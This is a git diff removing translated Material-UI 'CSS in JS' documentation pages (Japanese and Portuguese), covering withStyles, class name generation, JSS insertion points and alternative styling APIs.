-    - The other keys are forwarded to the options argument of [jss.createStyleSheet([styles], [options])](http://cssinjs.org/js-api/#create-style-sheet).
-
-#### Returns
-
-`higher-order component`: Should be used to wrap a component.
-
-#### Exemples
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default withStyles(styles)(MyComponent);
-```
-
-Also, you can use as [decorators](https://babeljs.io/docs/en/babel-plugin-proposal-decorators) like so:
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-@withStyles(styles)
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default MyComponent
-```
-
-### `createGenerateClassName([options]) => class name generator`
-
-A function which returns [a class name generator function](http://cssinjs.org/js-api/#generate-your-own-class-names).
-
-#### Arguments
-
-1. `options` (*Object* [optional]): 
-    - `options.dangerouslyUseGlobalCSS` (*Boolean* [optional]): Defaults to `false`. Makes the Material-UI class names deterministic.
-    - `options.productionPrefix` (*String* [optional]): Defaults to `'jss'`. The string used to prefix the class names in production.
-    - `options.seed` (*String* [optional]): Defaults to `''`. The string used to uniquely identify the generator. It can be used to avoid class name collisions when using multiple generators.
-
-#### Returns
-
-`class name generator`: The generator should be provided to JSS.
-
-#### Exemples
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { createGenerateClassName } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName({
-  dangerouslyUseGlobalCSS: true,
-  productionPrefix: 'c',
-});
-
-function App() {
-  return (
-    <JssProvider generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Alternative APIs
-
-Do you think that [higher-order components are the new mixins](https://cdb.reacttraining.com/use-a-render-prop-50de598f11ce)? Rest assured we don't, however because `withStyles()` is a higher-order component, it can be extended with just a **few lines of code** to match different patterns that are all idiomatic React. Here are a couple of examples.
-
-### Render props API (+11 lines)
-
-The term [“render prop”](https://reactjs.org/docs/render-props.html) refers to a simple technique for sharing code between React components using a prop whose value is a function.
-
-```jsx
-// You will find the `createStyled` implementation in the source of the demo.
-const Styled = createStyled({
-  root: {
-    background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-    borderRadius: 3,
-    border: 0,
-    color: 'white',
-    height: 48,
-    padding: '0 30px',
-    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-  },
-});
-
-function RenderProps() {
-  return (
-    <Styled>
-      {({ classes }) => (
-        <Button className={classes.root}>
-          {'Render props'}
-        </Button>
-      )}
-    </Styled>
-  );
-}
-```
-
-{{"demo": "pages/customization/css-in-js/RenderProps.js"}}
-
-You can access the theme the same way you would do it with `withStyles`:
-
-```js
-const Styled = createStyled(theme => ({
-  root: {
-    backgroundColor: theme.palette.background.paper,
-  },
-}));
-```
-
-[@jedwards1211](https://github.com/jedwards1211) Has taken the time to move this module into a package: [material-ui-render-props-styles](https://github.com/jcoreio/material-ui-render-props-styles). Feel free to use it.
-
-### styled-components API (+15 linhas)
-
-styled-components's API removes the mapping between components and styles. Using components as a low-level styling construct can be simpler.
-
-```jsx
-// You will find the `styled` implementation in the source of the demo.
-// You can even write CSS with https://github.com/cssinjs/jss-template.
-const MyButton = styled(Button)({
-  background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-  borderRadius: 3,
-  border: 0,
-  color: 'white',
-  height: 48,
-  padding: '0 30px',
-  boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-});
-
-function StyledComponents() {
-  return <MyButton>{'Styled Components'}</MyButton>;
-}
-```
-
-{{"demo": "pages/customization/css-in-js/StyledComponents.js"}}
-
-You can access the theme the same way you would do it with `withStyles`:
-
-```js
-const MyButton = styled(Button)(theme => ({
-  backgroundColor: theme.palette.background.paper,
-}));
-```
\ No newline at end of file
diff --git a/docs/src/pages/customization/css-in-js/css-in-js-ja.md b/docs/src/pages/customization/css-in-js/css-in-js-ja.md
deleted file mode 100644
index 4c9e7a045a9c05..00000000000000
--- a/docs/src/pages/customization/css-in-js/css-in-js-ja.md
+++ /dev/null
@@ -1,402 +0,0 @@
-# CSS in JS
-
-<p class="description">You can leverage our styling solution, even if you are not using our components.</p>
-
-> ⚠️ We are working on extracting the styling solution into it's own package: [`@material-ui/styles`](/css-in-js/basics/). It's an unstable project (alpha version). Hopefully, we will make it the default style implementation for the core components in Material-UI v4.
-
-Material-UI aims to provide strong foundations for building dynamic UIs. For the sake of simplicity, **we expose our styling solution to users**. You can use it, but you don't have to. This styling solution is [interoperable with](/guides/interoperability/) all the other major solutions.
-
-## Material-UI's styling solution
-
-In previous versions, Material-UI has used LESS, then a custom inline-style solution to write the style of the components, but these approaches have proven to be limited. Most recently, we have [moved toward](https://github.com/oliviertassinari/a-journey-toward-better-style) a *CSS-in-JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.). We think that it's the future:
-
-- [A Unified Styling Language](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660)
-- [The future of component-based styling](https://medium.freecodecamp.org/css-in-javascript-the-future-of-component-based-styling-70b161a79a32)
-- [Convert SCSS (Sass) to CSS-in-JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
-
-So, you may have noticed in the demos what *CSS-in-JS* looks like. We use the higher-order component created by [`withStyles`](#api) to inject an array of styles into the DOM as CSS, using JSS. Here's an example:
-
-{{"demo": "pages/customization/css-in-js/CssInJs.js"}}
-
-## JSS
-
-Material-UI's styling solution uses [JSS](https://github.com/cssinjs/jss) at its core. It's a [high performance](https://github.com/cssinjs/jss/blob/next/docs/performance.md) JS to CSS compiler which works at runtime and server-side. It is about 8 kB (minified and gzipped) and is extensible via a [plugins](https://github.com/cssinjs/jss/blob/next/docs/plugins.md) API.
-
-If you end up using this styling solution in your codebase, you're going to need to *learn the API*. The best place to start is by looking at the features that each [plugin](https://cssinjs.org/plugins/) provides. Material-UI uses [few of them](#plugins). You can always add new plugins if needed with the [`JssProvider`](https://github.com/cssinjs/react-jss#custom-setup) helper.
-
-If you wish to build your own instance of `jss` **and** support *rtl* make sure you also include the [jss-rtl](https://github.com/alitaheri/jss-rtl) plugin. Check the jss-rtl [readme](https://github.com/alitaheri/jss-rtl#simple-usage) to learn how.
-
-## Sheets registry
-
-When rendering on the server, you will need to get all rendered styles as a CSS string. The `SheetsRegistry` class allows you to manually aggregate and stringify them. Read more about [Server Rendering](/guides/server-rendering/).
-
-## Sheets manager
-
-The sheets manager uses a [reference counting](https://en.wikipedia.org/wiki/Reference_counting) algorithm in order to attach and detach the style sheets only once per (styles, theme) couple. This technique provides an important performance boost when re-rendering instances of a component.
-
-When only rendering on the client, that's not something you need to be aware of. However, when rendering on the server you do. You can read more about [Server Rendering](/guides/server-rendering/).
-
-## Class names
-
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The following CSS won't work:
-
-```css
-.MuiAppBar-root-12 {
-  opacity: 0.6
-}
-```
-
-Instead, you have to use the `classes` property of a component to override them. On the other hand, thanks to the non-deterministic nature of our class names, we can implement optimizations for development and production. They are easy to debug in development and as short as possible in production:
-
-- development: `.MuiAppBar-root-12`
-- production: `.jss12`
-
-If you don't like this default behavior, you can change it. JSS relies on the concept of [class name generator](http://cssinjs.org/js-api/#generate-your-own-class-names).
-
-### Global CSS
-
-We provide a custom implementation of the class name generator for Material-UI needs: [`createGenerateClassName()`](#creategenerateclassname-options-class-name-generator). As well as the option to make the class names **deterministic** with the `dangerouslyUseGlobalCSS` option. When turned on, the class names will look like this:
-
-- development: `.MuiAppBar-root`
-- production: `.MuiAppBar-root`
-
-⚠️ **Be cautious when using `dangerouslyUseGlobalCSS`.** We provide this option as an escape hatch for quick prototyping. Relying on it for code running in production has the following implications:
-
-- Global CSS is inherently fragile. People use strict methodologies like [BEM](http://getbem.com/introduction/) to workaround the issue.
-- It's harder to keep track of `classes` API changes.
-
-⚠️ When using `dangerouslyUseGlobalCSS` standalone (without Material-UI), you should name your style sheets. `withStyles` has a name option for that:
-
-```jsx
-const Button = withStyles(styles, { name: 'button' })(ButtonBase)
-```
-
-## CSS injection order
-
-The CSS injected by Material-UI to style a component has the highest specificity possible as the `<link>` is injected at the bottom of the `<head>` to ensure the components always render correctly.
-
-You might, however, also want to override these styles, for example with styled-components. If you are experiencing a CSS injection order issue, JSS [provides a mechanism](https://github.com/cssinjs/jss/blob/master/docs/setup.md#specify-the-dom-insertion-point) to handle this situation. By adjusting the placement of the `insertionPoint` within your HTML head you can [control the order](http://cssinjs.org/js-api/#attach-style-sheets-in-a-specific-order) that the CSS rules are applied to your components.
-
-### HTML comment
-
-The simplest approach is to add an HTML comment that determines where JSS will inject the styles:
-
-```jsx
-<head>
-  <!-- jss-insertion-point -->
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### Other HTML element
-
-[Create React App](https://github.com/facebook/create-react-app) strips HTML comments when creating the production build. To get around the issue, you can provide a DOM element (other than a comment) as the JSS insertion point.
-
-For example, a `<noscript>` element:
-
-```jsx
-<head>
-  <noscript id="jss-insertion-point"></noscript>
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: document.getElementById('jss-insertion-point'),
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### JS createComment
-
-codesandbox.io prevents the access to the `<head>` element. To get around the issue, you can use the JavaScript `document.createComment()` API:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const styleNode = document.createComment("jss-insertion-point");
-document.head.insertBefore(styleNode, document.head.firstChild);
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## JssProvider
-
-react-jss exposes a `JssProvider` component to configure JSS for the underlying child components. There are different use cases:
-
-- Providing a class name generator.
-- [Providing a Sheets registry.](/customization/css-in-js/#sheets-registry)
-- Providing a JSS instance. You might want to support [Right-to-left](/guides/right-to-left/) or changing the [CSS injection order](/customization/css-in-js/#css-injection-order). Read [the JSS documentation](http://cssinjs.org/js-api/) to learn more about the options available. Here is an example:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create(jssPreset());
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Plugins
-
-JSS uses the concept of plugins to extend its core, allowing people to cherry-pick the features they need. You pay the performance overhead for only what's you are using. Given `withStyles` is our internal styling solution, all the plugins aren't available by default. We have added the following list:
-
-- [jss-global](http://cssinjs.org/jss-global/)
-- [jss-nested](http://cssinjs.org/jss-nested/)
-- [jss-camel-case](http://cssinjs.org/jss-camel-case/)
-- [jss-default-unit](http://cssinjs.org/jss-default-unit/)
-- [jss-vendor-prefixer](http://cssinjs.org/jss-vendor-prefixer/)
-- [jss-props-sort](http://cssinjs.org/jss-props-sort/)
-
-It's a subset of [jss-preset-default](http://cssinjs.org/jss-preset-default/). Of course, you are free to add a new plugin. We have one example for the [`jss-rtl` plugin](/guides/right-to-left/#3--jss-rtl).
-
-## API
-
-### `withStyles(styles, [options]) => higher-order component`
-
-Link a style sheet with a component. It does not modify the component passed to it; instead, it returns a new component with a `classes` property. This `classes` object contains the name of the class names injected in the DOM.
-
-Some implementation details that might be interesting to being aware of:
-
-- It adds a `classes` property so you can override the injected class names from the outside.
-- It adds an `innerRef` property so you can get a reference to the wrapped component. The usage of `innerRef` is identical to `ref`.
-- It forwards *non React static* properties so this HOC is more "transparent". For instance, it can be used to defined a `getInitialProps()` static method (next.js).
-
-#### Arguments
-
-1. `styles` (*Function | Object*): A function generating the styles or a styles object. It will be linked to the component. Use the function signature if you need to have access to the theme. It's provided as the first argument.
-2. `options` (*Object* [optional]): 
-    - `options.withTheme` (*Boolean* [optional]): Defaults to `false`. Provide the `theme` object to the component as a property.
-    - `options.name` (*String* [optional]): The name of the style sheet. Useful for debugging. If the value isn't provided, it will try to fallback to the name of the component.
-    - `options.flip` (*Boolean* [optional]): When set to `false`, this sheet will opt-out the `rtl` transformation. When set to `true`, the styles are inversed. When set to `null`, it follows `theme.direction`.
-    - The other keys are forwarded to the options argument of [jss.createStyleSheet([styles], [options])](http://cssinjs.org/js-api/#create-style-sheet).
-
-#### Returns
-
-`higher-order component`: Should be used to wrap a component.
-
-#### 例
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default withStyles(styles)(MyComponent);
-```
-
-Also, you can use as [decorators](https://babeljs.io/docs/en/babel-plugin-proposal-decorators) like so:
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-@withStyles(styles)
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default MyComponent
-```
-
-### `createGenerateClassName([options]) => class name generator`
-
-A function which returns [a class name generator function](http://cssinjs.org/js-api/#generate-your-own-class-names).
-
-#### Arguments
-
-1. `options` (*Object* [optional]): 
-    - `options.dangerouslyUseGlobalCSS` (*Boolean* [optional]): Defaults to `false`. Makes the Material-UI class names deterministic.
-    - `options.productionPrefix` (*String* [optional]): Defaults to `'jss'`. The string used to prefix the class names in production.
-    - `options.seed` (*String* [optional]): Defaults to `''`. The string used to uniquely identify the generator. It can be used to avoid class name collisions when using multiple generators.
-
-#### Returns
-
-`class name generator`: The generator should be provided to JSS.
-
-#### 例
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { createGenerateClassName } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName({
-  dangerouslyUseGlobalCSS: true,
-  productionPrefix: 'c',
-});
-
-function App() {
-  return (
-    <JssProvider generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Alternative APIs
-
-Do you think that [higher-order components are the new mixins](https://cdb.reacttraining.com/use-a-render-prop-50de598f11ce)? Rest assured we don't, however because `withStyles()` is a higher-order component, it can be extended with just a **few lines of code** to match different patterns that are all idiomatic React. Here are a couple of examples.
-
-### Render props API (+11 lines)
-
-The term [“render prop”](https://reactjs.org/docs/render-props.html) refers to a simple technique for sharing code between React components using a prop whose value is a function.
-
-```jsx
-// You will find the `createStyled` implementation in the source of the demo.
-const Styled = createStyled({
-  root: {
-    background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-    borderRadius: 3,
-    border: 0,
-    color: 'white',
-    height: 48,
-    padding: '0 30px',
-    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-  },
-});
-
-function RenderProps() {
-  return (
-    <Styled>
-      {({ classes }) => (
-        <Button className={classes.root}>
-          {'Render props'}
-        </Button>
-      )}
-    </Styled>
-  );
-}
-```
-
-{{"demo": "pages/customization/css-in-js/RenderProps.js"}}
-
-You can access the theme the same way you would do it with `withStyles`:
-
-```js
-const Styled = createStyled(theme => ({
-  root: {
-    backgroundColor: theme.palette.background.paper,
-  },
-}));
-```
-
-[@jedwards1211](https://github.com/jedwards1211) Has taken the time to move this module into a package: [material-ui-render-props-styles](https://github.com/jcoreio/material-ui-render-props-styles). Feel free to use it.
-
-### styled-components API (+15 linhas)
-
-styled-components's API removes the mapping between components and styles. Using components as a low-level styling construct can be simpler.
-
-```jsx
-// You will find the `styled` implementation in the source of the demo.
-// You can even write CSS with https://github.com/cssinjs/jss-template.
-const MyButton = styled(Button)({
-  background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-  borderRadius: 3,
-  border: 0,
-  color: 'white',
-  height: 48,
-  padding: '0 30px',
-  boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-});
-
-function StyledComponents() {
-  return <MyButton>{'Styled Components'}</MyButton>;
-}
-```
-
-{{"demo": "pages/customization/css-in-js/StyledComponents.js"}}
-
-You can access the theme the same way you would do it with `withStyles`:
-
-```js
-const MyButton = styled(Button)(theme => ({
-  backgroundColor: theme.palette.background.paper,
-}));
-```
\ No newline at end of file
diff --git a/docs/src/pages/customization/css-in-js/css-in-js-pt.md b/docs/src/pages/customization/css-in-js/css-in-js-pt.md
deleted file mode 100644
index b5b6f511634b91..00000000000000
--- a/docs/src/pages/customization/css-in-js/css-in-js-pt.md
+++ /dev/null
@@ -1,402 +0,0 @@
-# CSS em JS
-
-<p class="description">Você pode aproveitar nossa solução de estilo, mesmo se não estiver usando nossos componentes.</p>
-
-> ⚠️ Estamos trabalhando na extração da solução de estilo em seu próprio pacote: [`@material-ui/styles`](/css-in-js/basics/). É um projeto instável (versão alfa). Esperamos torná-lo a implementação padrão de estilo para os componentes principais do Material-UI v4.
-
-Material-UI tem como objetivo fornecer bases sólidas para a construção de interfaces de usuário dinâmicas. Por uma questão de simplicidade, **expomos nossa solução de estilo aos usuários**. Você pode usá-lo, mas você não precisa. Esta solução de estilo é [interoperável com](/guides/interoperability/) todas as outras soluções principais.
-
-## Solução de estilo do Material-UI
-
-Nas versões anteriores, o Material-UI usava o LESS e, em seguida, uma solução personalizada no estilo inline para escrever o estilo dos componentes, mas essas abordagens provaram ser limitadas. Mais recentemente, temos [movido para](https://github.com/oliviertassinari/a-journey-toward-better-style) a *CSS-in-JS* solução. **desbloqueia muitos ótimos recursos** (aninhamento de temas, estilos dinâmicos, auto-suporte, etc.). Nós pensamos que é o futuro:
-
-- [Um idioma de estilo unificado](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660)
-- [O futuro do estilo baseado em componentes](https://medium.freecodecamp.org/css-in-javascript-the-future-of-component-based-styling-70b161a79a32)
-- [Converter SCSS (Sass) para CSS-in-JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
-
-Então, você deve ter notado nas demos que *CSS-in-JS* parece. Usamos o componente de ordem superior criado por [`withStyles`](#api) para injetar uma matriz de estilos no DOM como CSS, usando o JSS. Aqui está um exemplo:
-
-{{"demo": "pages/customization/css-in-js/CssInJs.js"}}
-
-## JSS
-
-A solução de estilo do Material-UI usa [JSS](https://github.com/cssinjs/jss) em seu núcleo. É um [alto desempenho](https://github.com/cssinjs/jss/blob/next/docs/performance.md) JS ao compilador CSS que trabalha em tempo de execução e no lado do servidor. É cerca de 8 kB (minificado e gzipped) e é extensível através de um [plugins](https://github.com/cssinjs/jss/blob/next/docs/plugins.md) API.
-
-Se você acabar usando essa solução de estilo na sua base de código, precisará *aprender a API*. O melhor lugar para começar é observar os recursos que cada um dos [plugins](https://cssinjs.org/plugins/) fornece. Material-UI usa [alguns deles](#plugins). Você sempre pode adicionar novos plugins, se necessário, com o [`JssProvider`](https://github.com/cssinjs/react-jss#custom-setup) ajudante.
-
-Se você deseja construir sua própria instância de `jss` **e** suporte *rtl* Certifique-se de incluir também o [jss-rtl](https://github.com/alitaheri/jss-rtl) plugar. Verifique o [readme](https://github.com/alitaheri/jss-rtl#simple-usage) do jss-rtl para aprender como.
-
-## Sheets registry
-
-Ao renderizar no servidor, você precisará obter todos os estilos renderizados como uma string CSS. O `SheetsRegistry` A classe permite que você agregue e restrinja-os manualmente. Leia mais sobre [Renderização de Servidores](/guides/server-rendering/).
-
-## Sheets manager
-
-O gerenciador de folhas usa uma [contagem de referência](https://en.wikipedia.org/wiki/Reference_counting) Algoritmo para anexar e separar as folhas de estilo apenas uma vez por casal (estilos, tema). Essa técnica fornece um importante aumento de desempenho ao renderizar novamente as instâncias de um componente.
-
-Quando apenas renderização no cliente, isso não é algo que você precisa estar ciente. No entanto, ao renderizar no servidor, você faz. Leia mais sobre [Renderização de Servidores](/guides/server-rendering/).
-
-## Class names
-
-Você deve ter notado que os nomes de classe gerados pela nossa solução de estilo são **não-determinísticos**, para que você não pode contar com eles para ficar na mesma. O seguinte CSS não funciona:
-
-```css
-.MuiAppBar-root-12 {
-  opacity: 0.6
-}
-```
-
-Em vez disso, você tem que usar as `classes` propriedade de um componente para substituí-los. Por outro lado, graças à natureza não-determinístico dos nossos nomes de classe, que pode implementar otimizações para o desenvolvimento e produção. Eles são fáceis de depurar no desenvolvimento e tão curtos quanto possível na produção:
-
-- desenvolvimento: `.MuiAppBar-root-12`
-- produção: `.jss12`
-
-Se você não gostar desse comportamento padrão, poderá alterá-lo. O JSS conta com o conceito de [gerador de nome de classe](http://cssinjs.org/js-api/#generate-your-own-class-names).
-
-### Global CSS
-
-Fornecemos uma implementação personalizada do gerador de nome de classe para as necessidades de Material-UI: [`createGenerateClassName()`](#creategenerateclassname-options-class-name-generator). Assim como a opção de fazer os nomes de classes serem **determinísticos** com a opção `dangerouslyUseGlobalCSS`. Quando ativado, os nomes das classes ficarão assim:
-
-- desenvolvimento: `.MuiAppBar-root-`
-- produção: `.MuiAppBar-root `
-
-⚠️ **ter cuidado quando usando `dangerouslyUseGlobalCSS`.** Nós fornecemos esta opção como uma saída de emergência para uma rápida criação de protótipos. Confiar nele para o código rodando em produção tem as seguintes implicações:
-
-- O CSS global é inerentemente frágil. As pessoas usam metodologias rigorosas como [ BEM ](http://getbem.com/introduction/) para contornar o problema.
-- É mais difícil controlar as classes ` ` alterações na API.
-
-⚠️ Ao usar ` dangerouslyUseGlobalCSS ` autônomo (sem Material-UI), você deve nomear os seus style sheets. ` withStyles ` contem uma opção de nome para isso:
-
-```jsx
-const Button = withStyles(styles, { name: 'button' })(ButtonBase)
-```
-
-## Ordem de injeção de CSS
-
-O CSS inserido pelo Material-UI para estilizar um componente tem a maior especificidade possível, pois o `<link>` é inserido na parte inferior do `<head>` para garantir que os componentes sejam sempre renderizados corretamente.
-
-Você pode, no entanto, também querer substituir esses estilos, por exemplo, com componentes estilizados. Se você está enfrentando um problema de ordem de injeção de CSS, o JSS [ fornece um mecanismo ](https://github.com/cssinjs/jss/blob/master/docs/setup.md#specify-the-dom-insertion-point) para lidar com essa situação. Ajustando o posicionamento do ponto de inserção ` ` dentro do seu HTML header, você pode [ controlar a ordem em ](http://cssinjs.org/js-api/#attach-style-sheets-in-a-specific-order) que as regras CSS são aplicadas aos seus componentes.
-
-### Comentário HTML
-
-A abordagem mais simples é adicionar um comentário HTML que determine onde o JSS irá inserir os estilos:
-
-```jsx
-<head>
-  <!-- jss-insertion-point -->
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // Definimos um ponto de inserção personalizado que o JSS procurará para inserir os estilos no DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### Outro elemento HTML
-
-[Create React App](https://github.com/facebook/create-react-app) remove comentários em HTML ao criar a compilação de produção. Para contornar o problema, você pode fornecer um elemento DOM (diferente de um comentário) como o ponto de inserção do JSS.
-
-Por exemplo, um elemento `<noscript>`:
-
-```jsx
-<head>
-  <noscript id="jss-insertion-point"></noscript>
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // Definimos um ponto de inserção personalizado que o JSS procurará para inserir os estilos no DOM.
-  insertionPoint: document.getElementById('jss-insertion-point'),
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### JS createComment
-
-codesandbox.io impede o acesso ao elemento `<head>`. Para contornar o problema, você pode usar a API JavaScript `document.createComment()`:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const styleNode = document.createComment("jss-insertion-point");
-document.head.insertBefore(styleNode, document.head.firstChild);
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // Definimos um ponto de inserção personalizado que o JSS procurará para inserir os estilos no DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## JssProvider
-
-react-jss exposes a `JssProvider` component to configure JSS for the underlying child components. Existem diferentes casos de uso:
-
-- Fornecendo um class name generator.
-- [Providing a Sheets registry.](/customization/css-in-js/#sheets-registry)
-- Fornecendo uma instância do JSS. Talvez você queira suportar [Direita-para-esquerda](/guides/right-to-left/) ou alterar a[ordem de injeção de CSS ](/customization/css-in-js/#css-injection-order). Leia [ a documentação do JSS ](http://cssinjs.org/js-api/) para saber mais sobre as opções disponíveis. Aqui está um exemplo:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create(jssPreset());
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Plugins
-
-O JSS usa o conceito de plugins para estender seu núcleo, permitindo que as pessoas selecionem os recursos de que precisam. Você paga a sobrecarga de desempenho apenas pelo que está usando. Dado que `withStyles` é nossa solução interna de estilos, todos os plugins não estão disponíveis por padrão. Nós adicionamos a seguinte lista:
-
-- [jss-global](http://cssinjs.org/jss-global/)
-- [jss-nested](http://cssinjs.org/jss-nested/)
-- [jss-camel-case](http://cssinjs.org/jss-camel-case/)
-- [jss-default-unit](http://cssinjs.org/jss-default-unit/)
-- [jss-vendor-prefixer](http://cssinjs.org/jss-vendor-prefixer/)
-- [jss-props-sort](http://cssinjs.org/jss-props-sort/)
-
-É um subconjunto de [ jss-preset-default ](http://cssinjs.org/jss-preset-default/). Claro, você está livre para adicionar um novo plugin. Nós temos um exemplo para o [ ` jss-rtl ` plugin ](/guides/right-to-left/#3--jss-rtl).
-
-## API
-
-### `withStyles(styles, [options]) => higher-order component`
-
-Vincule uma folha de estilo a um componente. Ele não modifica o componente passados para ele; em vez disso, ele retorna um novo componente, com a propriedade `classes`. Este objeto `classes` contém o nome das classes inseridas no DOM.
-
-Alguns detalhes de implementação que podem ser interessantes para estar ciente:
-
-- Adiciona uma propriedade `classes`, assim você pode substituir, a partir do exterior, os nomes de classe previamente injectados.
-- Ele adiciona uma propriedade `innerRef` para que você possa obter uma referência ao componente encapsulado. O uso de ` innerRef ` é idêntico a ` ref `.
-- Ele encaminha as propriedades *non React static* para que este HOC seja mais "transparente". Por exemplo, pode ser usado para definir um método estático (next.js) ` getInitialProps () `.
-
-#### Argumentos
-
-1. `styles` (*Function | Object*): Uma função que gera os estilos ou um objeto de estilos. Ele será vinculado ao componente. Use a assinatura da função se você precisar ter acesso ao tema. É fornecido como o primeiro argumento.
-2. `options` (*Object* [optional]): 
-    - `options.withTheme` (*Boolean* [optional]): Defaults to `false`. Provide the `theme` object to the component as a property.
-    - `options.name` (*String* [optional]): The name of the style sheet. Útil para depuração. Se o valor não for fornecido, ele tentará usar o nome do componente.
-    - `options.flip` (*Boolean* [optional]): When set to `false`, this sheet will opt-out the `rtl` transformation. Quando definido para `true`, os estilos são invertidos. Quando definido para `null`, segue `theme.direction`.
-    - The other keys are forwarded to the options argument of [jss.createStyleSheet([styles], [options])](http://cssinjs.org/js-api/#create-style-sheet).
-
-#### Returns
-
-`higher-order component`: Should be used to wrap a component.
-
-#### Exemplos
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-class MyComponent extends React.Component {
-  render () {
